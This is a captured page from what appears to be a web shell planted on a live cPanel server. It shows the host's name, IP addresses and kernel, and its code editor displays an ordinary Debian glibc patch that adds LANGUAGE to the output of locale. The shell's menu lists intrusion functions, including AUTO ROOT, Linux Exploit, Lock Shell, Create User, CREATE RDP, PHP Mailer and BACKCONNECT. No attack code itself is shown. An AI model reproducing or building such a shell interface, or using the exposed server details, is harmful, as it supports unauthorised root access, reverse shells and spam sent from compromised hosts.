Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.7.50
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
glibc /
debian /
patches /
locale /
[ HOME SHELL ]
Name
Size
Permission
Action
LC_IDENTIFICATION-optional-fie...
1.03
KB
-rw-r--r--
check-unknown-symbols.diff
1.11
KB
-rw-r--r--
locale-print-LANGUAGE.diff
1.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : locale-print-LANGUAGE.diff
Comments tell that LANG has to be the first value, and LC_ALL the last one. Thus LANGUAGE is printed between them. # DP: Dpatch author: Denis Barbier # DP: Patch author: Denis Barbier # DP: Upstream status: not submitted # DP: Date: 2006-01-08 --- locale/programs/locale.c | 4 ++++ 1 file changed, 4 insertions(+) --- a/locale/programs/locale.c +++ b/locale/programs/locale.c @@ -796,11 +796,15 @@ show_locale_vars (void) { const char *lcall = getenv ("LC_ALL") ?: ""; + const char *language = getenv ("LANGUAGE") ?: ""; const char *lang = getenv ("LANG") ?: ""; /* LANG has to be the first value. */ print_assignment ("LANG", lang, false); + if (getenv ("POSIXLY_CORRECT") == NULL) + printf ("LANGUAGE=%s\n", language); + /* Now all categories in an unspecified order. */ for (size_t cat_no = 0; cat_no < NCATEGORIES; ++cat_no) if (cat_no != LC_ALL) --- a/locale/tst-locale-locpath.sh +++ b/locale/tst-locale-locpath.sh @@ -54,6 +54,7 @@ cat > "$testroot/stdout-expected" <<EOF LANG= +LANGUAGE= LC_CTYPE="invalid-locale" LC_NUMERIC="invalid-locale" LC_TIME="invalid-locale"
Close